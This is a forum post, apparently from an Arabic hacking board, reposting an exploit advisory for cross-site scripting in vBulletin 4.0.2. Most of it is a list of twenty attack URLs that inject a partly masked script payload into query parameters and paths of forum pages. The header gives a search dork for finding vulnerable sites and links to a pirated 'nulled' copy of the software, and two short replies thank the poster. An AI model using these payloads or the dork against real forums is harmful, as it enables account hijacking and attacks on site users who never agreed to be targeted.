vBulletin Version 4.0.2 Xss Vulnerability

[S-HACKER]

==========================================
vBulletin Version 4.0.2 Xss Vulnerability
==========================================

================================================== ======================================
| # Title : vBulletin Version 4.0.2 Cross Site Scripting in URI Vulnerability
| # Author : indoushka
| # Web Site : http://www.digzip.com/files/54QE0JXS/vbulletin_4.0.2nulledfinal.rar
| # Dork : Powered by vBulletin? Version 4.0.2
| # Tested on: windows SP2 Fran?ais V.(Pnx2 2.0) + Lunix Fran?ais v.(9.4 Ubuntu)
| # Bug : XSS
====================== Exploit By indoushka =================================
# Exploit :

http://127.0.0.1/upload/calendar.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/faq.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/forum.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/usercp.php/>">********>*****(213771818860)***********

http://127.0.0.1/upload/subscription.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/showthread.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/showgroups.php/>">********>*****(213771818860)***********

http://127.0.0.1/upload/sendmessage.php/>">********>*****(213771818860)***********

http://127.0.0.1/upload/search.php/>">********>*****(213771818860)***********

http://127.0.0.1/upload/register.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/profile.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/private.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/online.php/>">********>*****(213771818860)***********

http://127.0.0.1/upload/newthread.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/misc.php/>">********>*****(213771818860)***********

http://127.0.0.1/upload/memberlist.php?=>"'>********>*****(213771818860)***********

http://127.0.0.1/upload/member.php/>">********>*****(213771818860)***********

http://127.0.0.1/upload/inlinemod.php?acuparam=>">********>*****(213771818860)***********

http://127.0.0.1/upload/index.php/>">********>*****(213771818860)***********

http://127.0.0.1/upload/forumdisplay.php?acuparam=>">********>*****(213771818860)***********

[الإرهابي]

مشكوووووووووووووووووووووو وور اخي

[هواوي]

مشكور بس ي ليت توضح ..:)

دمت بخير